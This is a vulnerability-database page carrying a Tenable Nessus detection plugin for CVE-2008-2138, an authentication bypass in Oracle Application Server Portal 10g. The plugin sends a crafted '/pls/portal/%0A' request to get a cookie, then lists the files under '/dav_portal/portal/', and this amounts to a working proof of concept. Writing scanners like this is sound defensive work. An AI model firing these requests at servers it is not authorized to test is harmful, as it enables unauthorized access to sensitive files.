Lucene search
K

Oracle Application Server Portal 10g Authentication Bypass

🗓️ 29 May 2008 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 61 Views

The remote web server is affected by an authentication bypass vulnerability. An unauthenticated attacker can access potentially sensitive files

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-2138
9 May 200800:00
circl
CVE
CVE-2008-2138
12 May 200816:00
cve
Cvelist
CVE-2008-2138
12 May 200816:00
cvelist
NVD
CVE-2008-2138
12 May 200816:20
nvd
Prion
Design/Logic Flaw
12 May 200816:20
prion
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");

if (description)
{
  script_id(32479);
  script_version("1.18");

  script_cve_id("CVE-2008-2138");
  script_bugtraq_id(29119);

  script_name(english:"Oracle Application Server Portal 10g Authentication Bypass");
  script_summary(english:"Attempts to access remote OAS Portal without credentials");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by an authentication bypass
vulnerability." );
  script_set_attribute(attribute:"description", value:
"The remote host is running Oracle Application Server.

By sending a specially crafted GET request to the version of Oracle
Application Server installed on the remote host, an unauthenticated
attacker can access potentially sensitive files listed under the
directory '/dav_portal/portal'." );
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/491865" );
  script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(264);
  script_set_attribute(attribute:"plugin_publication_date", value: "2008/05/29");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/09/29");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:application_server_portal");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Databases");

  script_copyright(english:"This script is Copyright (C) 2008-2025 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("http.inc");

port = get_http_port(default:80);

# Check if we are looking Oracle Application Servers
banner = get_http_banner(port:port);
if (!banner || "Oracle-Application-Server" >!< banner ) exit(0);

# Send request and get cookie.
http::cookiejar::init();
exploit1 = "/pls/portal/%0A";
r = http_send_recv3(method: "GET", item:exploit1, port:port);
if (isnull(r)) exit(0);

# If we see the cookie ...
if (egrep(string: r[1], pattern: "Set-Cookie2?:", icase: 1))
{
  exploit2 = "/dav_portal/portal/";
  r = http_send_recv3(method: "GET", item:exploit2, port:port);
  if (isnull(r)) exit(0);

  # There is a problem if we see ...
  if ("Index of /dav_portal/portal" >< r[2])
  {
    info = NULL;
    foreach line (split(r[2], keep:FALSE))
    {
      pat = "^[ ]*<a href=[^>]+>([^<]+)</a>(.+)$";
      if (ereg(pattern:pat, string:line))
      {
        line = ereg_replace(pattern:pat, string:line, replace: "\1 \2");
        info += "  " +line + '\n';
        count++;
    }
    # Limit the number of directories in final report to 15
    if (count >= 15) break;
    }

    if (count > 0)
    {
      if (report_verbosity)
      {
        report = string(
          "\n",
          "Nessus was able to obtain a directory listing with the\n",
          "following sequence of URLs :\n",
          "\n",
          "  ", build_url(port: port, qs: exploit1), "\n",
          "  ", build_url(port: port, qs: exploit2), "\n"
        );
        if (report_verbosity > 1)
        {
          report = string(
            report,
            "\n",
            "Here is the listing (limited to 15 entries) :\n",
            "\n",
            info
          );
        }
        security_warning(port:port,extra:report);
      }
      else security_warning(port);
    }
  }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Sep 2025 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 25
EPSS0.42376
61